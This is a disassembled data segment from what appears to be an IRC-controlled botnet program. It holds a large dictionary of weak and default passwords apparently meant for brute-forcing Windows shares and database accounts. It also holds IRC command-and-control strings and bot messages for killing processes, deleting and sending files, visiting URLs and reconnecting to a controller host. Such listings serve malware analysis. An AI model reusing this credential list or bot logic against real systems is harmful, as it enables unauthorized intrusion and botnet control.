aArtist		db 'artist',0           ; DATA XREF: seg002:004295C4o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: seg002:004295C0o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg002:004295BCo
		align 4
aArmy		db 'army',0             ; DATA XREF: seg002:004295B8o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg002:004295B4o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:004295B0o
aAria		db 'aria',0             ; DATA XREF: seg002:004295ACo
		align 4
aApril		db 'april',0            ; DATA XREF: seg002:004295A8o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:004295A4o
		align 4
aAnything	db 'anything',0         ; DATA XREF: seg002:004295A0o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: seg002:0042959Co
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:00429598o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:00429594o
aAnswer		db 'answer',0           ; DATA XREF: seg002:00429590o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:0042958Co
		align 4
aAnon		db 'anon',0             ; DATA XREF: seg002:00429588o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg002:00429584o
aAnne		db 'anne',0             ; DATA XREF: seg002:00429580o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg002:0042957Co
		align 4
aAnita		db 'anita',0            ; DATA XREF: seg002:00429578o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg002:00429574o
aAnimal		db 'animal',0           ; DATA XREF: seg002:00429570o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg002:0042956Co
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: seg002:00429568o
		align 10h
aAngela		db 'angela',0           ; DATA XREF: seg002:00429564o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: seg002:00429560o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: seg002:0042955Co
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: seg002:00429558o
		align 4
aAndroid	db 'android',0          ; DATA XREF: seg002:00429554o
aAndrea		db 'andrea',0           ; DATA XREF: seg002:00429550o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: seg002:0042954Co
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:00429548o
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:00429544o
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: seg002:00429540o
		align 4
aAnal		db 'anal',0             ; DATA XREF: seg002:0042953Co
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:00429538o
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg002:00429534o
aAmber		db 'amber',0            ; DATA XREF: seg002:00429530o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg002:0042952Co
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:00429528o
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:00429524o
		align 4
aAllow		db 'allow',0            ; DATA XREF: seg002:00429520o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: seg002:0042951Co
aAlison		db 'alison',0           ; DATA XREF: seg002:00429518o
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: seg002:00429514o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: seg002:00429510o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: seg002:0042950Co
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg000:0040320Co
					; seg002:00429508o
aAlias		db 'alias',0            ; DATA XREF: seg002:00429504o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: seg002:00429500o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:004294FCo
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg002:004294F8o
		align 4
aAlert		db 'alert',0            ; DATA XREF: seg002:004294F4o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg002:004294F0o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:004294ECo
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: seg002:004294E8o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: seg002:004294E4o
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: seg002:004294E0o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg002:004294DCo
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:004294D8o
		align 10h
aAdult		db 'adult',0            ; DATA XREF: seg002:004294D4o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:004294D0o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: seg002:004294CCo
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg002:004294C8o
		align 4
aAction		db 'action',0           ; DATA XREF: seg000:004062E9o
					; seg002:004294C4o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg002:004294C0o
aAccept		db 'accept',0           ; DATA XREF: sub_409A6D+64Bo
					; seg002:004294BCo
		align 4
aAcademic	db 'academic',0         ; DATA XREF: seg002:004294B8o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:004294B4o
		align 4
a000000		db '000000',0           ; DATA XREF: seg002:004294B0o
		align 4
a00000		db '00000',0            ; DATA XREF: seg002:004294ACo
		align 4
a0000		db '0000',0             ; DATA XREF: seg002:004294A8o
		align 4
a000		db '000',0              ; DATA XREF: seg002:004294A4o
aTesting	db 'testing',0          ; DATA XREF: seg002:004294A0o
aDeath		db 'death',0            ; DATA XREF: seg002:0042949Co
		align 10h
a00		db '00',0               ; DATA XREF: seg002:00429498o
		align 4
a0_0:					; DATA XREF: sub_40C9E6+2CAo
					; seg002:00429494o
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:00429490o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:0042948Co
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:00429488o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:00429484o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:00429480o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:0042947Co
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: seg002:00429478o
aXx		db 'xx',0               ; DATA XREF: seg002:00429474o
		align 4
asc_42FB78:				; DATA XREF: seg002:00429470o
					; seg002:0043FF24o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:0042946Co
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:00429468o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:00429464o
		align 4
aMirc		db 'mirc',0             ; DATA XREF: seg000:00405AD9o
					; seg002:00429460o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:0042945Co
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:00429458o
		align 4
aScript		db 'script',0           ; DATA XREF: seg002:00429454o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:00429450o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: seg002:0042944Co
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:00429448o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: seg002:00429444o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:00429440o
		align 4
aKiller		db 'killer',0           ; DATA XREF: seg002:0042943Co
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:00429438o
					; seg002:0042AF24o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: seg002:00429434o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:00429430o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:0042942Co
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: seg002:00429428o
aSatanik	db 'satanik',0          ; DATA XREF: seg002:00429424o
aSatan		db 'satan',0            ; DATA XREF: seg002:00429420o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg002:0042941Co
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:00429418o
aMatt		db 'Matt',0             ; DATA XREF: seg002:00429414o
		align 10h
aMat		db 'Mat',0              ; DATA XREF: seg002:00429410o
aPw		db 'pw',0               ; DATA XREF: seg002:0042940Co
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:00429408o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: seg002:00429404o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:00429400o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:004293FCo
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:004293F8o
aMypc		db 'mypc',0             ; DATA XREF: seg002:004293F4o
		align 10h
aLove		db 'love',0             ; DATA XREF: seg002:004293F0o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:004293ECo
aLogin		db 'login',0            ; DATA XREF: seg000:00402591o
					; seg002:004293E8o
		align 4
aHome		db 'home',0             ; DATA XREF: seg002:004293E4o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:004293E0o
					; seg002:0042B328o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:004293DCo
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:004293D8o
					; seg002:0042B294o
		align 4
aSecret		db 'secret',0           ; DATA XREF: seg002:004293D4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:004293D0o
					; seg002:0042B340o
		align 4
aPc		db 'pc',0               ; DATA XREF: seg002:004293CCo
		align 4
aWin		db 'win',0              ; DATA XREF: seg002:004293C8o
aTest123	db 'test123',0          ; DATA XREF: seg002:004293C4o
aAbc		db 'abc',0              ; DATA XREF: seg002:004293C0o
aAaa		db 'aaa',0              ; DATA XREF: seg002:004293BCo
					; seg002:0042B268o
aA_0:					; DATA XREF: seg000:00406300o
					; seg002:004293B8o ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg000:004036A2o
					; seg002:004293B4o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg002:004293B0o
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:004293ACo
aIrule		db 'irule',0            ; DATA XREF: seg002:004293A8o
		align 10h
aOwned		db 'owned',0            ; DATA XREF: seg002:004293A4o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg002:004293A0o
					; seg002:0042AF28o
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:0042939Co
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:00429398o
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg002:00429394o
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: seg002:00429390o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg002:0042938Co
		align 10h
aGod		db 'god',0              ; DATA XREF: seg002:00429388o
aSex_0		db 'sex',0              ; DATA XREF: seg002:00429384o
aPat		db 'pat',0              ; DATA XREF: seg002:00429380o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:0042937Co
aAlpha		db 'alpha',0            ; DATA XREF: seg002:00429378o
		align 4
a007		db '007',0              ; DATA XREF: seg002:00429374o
					; seg002:0042AF14o
a123abc		db '123abc',0           ; DATA XREF: seg002:00429370o
					; seg002:0042B124o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:0042936Co
					; seg002:0042B130o
		align 4
a123123		db '123123',0           ; DATA XREF: seg002:00429368o
					; seg002:0042B0D0o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:00429364o
					; seg002:0042B0C8o
		align 4
a111111		db '111111',0           ; DATA XREF: seg002:00429360o
					; seg002:0042AF40o
		align 4
a110		db '110',0              ; DATA XREF: seg002:0042935Co
					; seg002:0042B094o
a2600		db '2600',0             ; DATA XREF: seg002:00429358o
					; seg002:0042B21Co
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41B2E4+BAo
					; seg002:00429354o ...
		align 10h
a2002		db '2002',0             ; DATA XREF: seg002:00429350o
					; seg002:0042B208o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: seg002:0042934Co
		align 4
aEnable		db 'enable',0           ; DATA XREF: seg002:00429348o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:00429344o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:00429340o
a123asd		db '123asd',0           ; DATA XREF: seg002:0042933Co
					; seg002:0042B128o
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:00429338o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: seg002:00429334o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: seg002:0042932Co
					; seg002:0042B12Co
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: seg002:00429328o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: seg002:00429320o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: seg002:0042931Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: seg002:00429314o
		align 10h
aPass_0		db 'pass',0             ; DATA XREF: seg002:00429310o
		align 4
a88888888	db '88888888',0         ; DATA XREF: seg002:0042930Co
					; seg002:0042B060o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:00429308o
					; seg002:0042AF48o
		align 10h
a111		db '111',0              ; DATA XREF: seg002:00429304o
					; seg002:0042AF34o
a54321		db '54321',0            ; DATA XREF: seg002:00429300o
					; seg002:0042B228o
		align 4
a654321		db '654321',0           ; DATA XREF: seg002:004292FCo
					; seg002:0042B22Co
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:004292F8o
					; seg002:0042B0E8o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: seg002:004292F4o
					; seg002:0042B0E4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg002:004292F0o
					; seg002:0042B0E0o
a123456		db '123456',0           ; DATA XREF: seg002:004292ECo
					; seg002:0042B0DCo
		align 4
a12345		db '12345',0            ; DATA XREF: seg002:004292E8o
					; seg002:0042B0D8o
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:004292E4o
					; seg002:0042B0D4o
		align 4
a123		db '123',0              ; DATA XREF: seg002:004292E0o
					; seg002:0042B0CCo
a12		db '12',0               ; DATA XREF: seg002:004292DCo
					; seg002:0042B0C0o
		align 4
a1:					; DATA XREF: seg002:004292D8o
					; seg002:0042AF2Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:004292D4o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:004292D0o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg002:004292CCo
		align 4
aLinux		db 'linux',0            ; DATA XREF: seg002:004292C8o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: seg002:004292C4o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:004292C0o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:004292BCo
		align 4
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:004292B8o
					; seg002:0042B678o
		align 10h
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:004292B4o
					; seg002:0042B674o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:004292B0o
					; seg002:0042B670o
		align 10h
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:004292A8o
					; seg002:0042B668o
		align 4
aTest		db 'TEST',0             ; DATA XREF: seg002:004292A4o
					; seg002:0042B664o
		align 10h
aEdu		db 'edu',0              ; DATA XREF: seg002:004292A0o
					; seg002:0042B660o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:0042929Co
					; seg002:0042B65Co
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:00429298o
					; seg002:0042B658o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:00429294o
					; seg002:0042B654o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: seg002:00429290o
					; seg002:0042B650o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:0042928Co
					; seg002:0042B64Co
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: seg002:00429288o
					; seg002:0042B648o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:00429284o
					; seg002:0042B644o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: seg002:00429280o
					; seg002:0042B640o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:0042927Co
					; seg002:0042B63Co
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:00429278o
					; seg002:0042B638o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:00429274o
					; seg002:0042B634o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: seg002:00429270o
					; seg002:0042B630o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:0042926Co
					; seg002:0042B62Co
		align 10h
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:00429264o
					; seg002:0042B624o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:00429260o
					; seg002:0042B620o
		align 10h
aBla		db 'bla',0              ; DATA XREF: seg002:0042925Co
					; seg002:0042B61Co
aFubar		db 'fubar',0            ; DATA XREF: seg002:00429258o
					; seg002:0042B618o
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:0042924Co
					; seg002:0042B60Co
		align 4
aUser_0		db 'USER',0             ; DATA XREF: sub_40F168+262o
					; seg002:00429240o ...
		align 4
aDb2		db 'db2',0              ; DATA XREF: seg002:0042923Co
aOracle		db 'oracle',0           ; DATA XREF: seg002:00429238o
					; seg002:00429324o
		align 10h
aDba		db 'dba',0              ; DATA XREF: seg002:00429234o
aDatabase	db 'database',0         ; DATA XREF: seg002:00429230o
					; seg002:00429318o
		align 10h
aDefault	db 'default',0          ; DATA XREF: seg002:0042922Co
					; seg002:004299B8o
aGuest_0	db 'guest',0            ; DATA XREF: seg002:00429228o
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:00429224o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:00429220o
					; seg002:0042A94Co
aStudent	db 'student',0          ; DATA XREF: seg002:0042921Co
					; seg002:0042A894o
aOwner		db 'owner',0            ; DATA XREF: seg002:00429218o
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg002:00429214o
					; seg002:00429330o
		align 10h
aRoot		db 'root',0             ; DATA XREF: seg000:0040D849o
					; seg002:00429210o ...
		align 4
aStaff		db 'staff',0            ; DATA XREF: seg002:0042920Co
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: seg000:0040D850o
					; seg002:00429208o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg002:00429204o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:00429200o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:004291FCo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:004291F8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:004291F4o
					; seg002:00429254o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41979A:loc_4198A5o
					; seg002:004291F0o ...
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:off_42914Co
		align 4
a@k7o_net	db '*@k7o.net',0        ; DATA XREF: seg002:off_429148o
		align 4
		dd 234032Dh, 75636573h,	2036572h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65722074h, 74736967h, 74207972h
		dd 61657268h, 65202C64h, 726F7272h, 253C203Ah, 2E3E64h
		dd 234032Dh, 75636573h,	2036572h, 6552202Dh, 74736967h
		dd 6D207972h, 74696E6Fh, 6120726Fh, 76697463h, 2E65h, 234032Dh
		dd 75636573h, 2036572h,	6146202Dh, 64656C69h, 206F7420h
		dd 72617473h, 65732074h, 65727563h, 72687420h, 2C646165h
		dd 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh, 75636573h
		dd 2036572h, 7953202Dh,	6D657473h, 63657320h, 20657275h
		dd 696E6F6Dh, 20726F74h, 69746361h, 2E6576h, 234032Dh
		dd 636F7270h, 2D020373h, 69614620h, 2064656Ch, 73206F74h
		dd 74726174h, 2F564120h, 6B205746h, 656C6C69h, 68742072h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 636F7270h, 2D020373h, 2F564120h, 4B205746h, 656C6C69h
		dd 63612072h, 65766974h, 2Eh, 234032Dh,	6E69616Dh, 202D0203h
		dd 20746F42h, 72617473h, 2E646574h, 0
		dd 25207325h, 25222064h, 2273h
dword_4301F0	dd 255C7325h, 73hdword_4301F8	dd 73257325h, 0						; sub_41011E+4CAo ...
unk_430200	db  2Dh	; -		; DATA XREF: sub_4018A1+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401A09+55o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401A09+28o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040995Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409947o
		align 4
unk_430268	db  2Dh	; -		; DATA XREF: seg000:0040993Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_430288	db  2Dh	; -		; DATA XREF: seg000:0040991Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4302A8	db  2Dh	; -		; DATA XREF: seg000:004098BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:0040989Co
		align 4
unk_4302FC	db  2Dh	; -		; DATA XREF: seg000:0040984Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:00409840o
					; seg000:004098B0o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:0040982Co
		align 4
asc_43037C:				; DATA XREF: seg000:004097FCo
		unicode	0, <~>,0
unk_430380	db  2Dh	; -		; DATA XREF: seg000:004097ABo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_4303A4	db  2Dh	; -		; DATA XREF: seg000:00409741o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4303CC	db  2Dh	; -		; DATA XREF: seg000:004096FBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 10h
unk_4303F0	db  2Dh	; -		; DATA XREF: seg000:004096DBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_430414	db  2Dh	; -		; DATA XREF: seg000:004096BEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_430438	db  2Dh	; -		; DATA XREF: seg000:0040969Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_43045C	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: seg000:0040967Do
		dd 2E732520h, 0
unk_430478	db  2Dh	; -		; DATA XREF: seg000:loc_4095FDo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_4304A4	db  2Dh	; -		; DATA XREF: seg000:004095F6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4304C8	db  2Dh	; -		; DATA XREF: seg000:loc_409575o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4304F0	db  2Dh	; -		; DATA XREF: seg000:0040956Bo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: seg000:00409551o
unk_43051C	db  2Dh	; -		; DATA XREF: seg000:00409447o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_430544	db  2Dh	; -		; DATA XREF: seg000:loc_40942Eo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_430568	db  2Dh	; -		; DATA XREF: seg000:00409424o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_430588	db  2Dh	; -		; DATA XREF: seg000:004093F7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4305B0	db  2Dh	; -		; DATA XREF: seg000:loc_4093D7o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4305D8	db  2Dh	; -		; DATA XREF: seg000:004093A9o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4305F8	db  2Dh	; -		; DATA XREF: seg000:loc_40936Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_430628	db  2Dh	; -		; DATA XREF: seg000:00409362o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_430648	db  2Dh	; -		; DATA XREF: seg000:loc_409308o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_430678	db  2Dh	; -		; DATA XREF: seg000:00409301o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_43069C	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: seg000:004092BFo
		dd 27732527h, 2Eh
unk_4306B8	db  2Dh	; -		; DATA XREF: seg000:004092A5o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
unk_4306F4	db  2Dh	; -		; DATA XREF: seg000:00409236o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_430718	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: seg000:004091C2o
		dd 0
unk_430730	db  2Dh	; -		; DATA XREF: seg000:00409194o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_430770	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: seg000:00409125o
		dd 2Eh
dword_430788	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: seg000:loc_409076o
		dd 746E6573h, 2Eh
unk_4307A4	db  2Dh	; -		; DATA XREF: seg000:0040906Fo
		db 3, 34h, 2
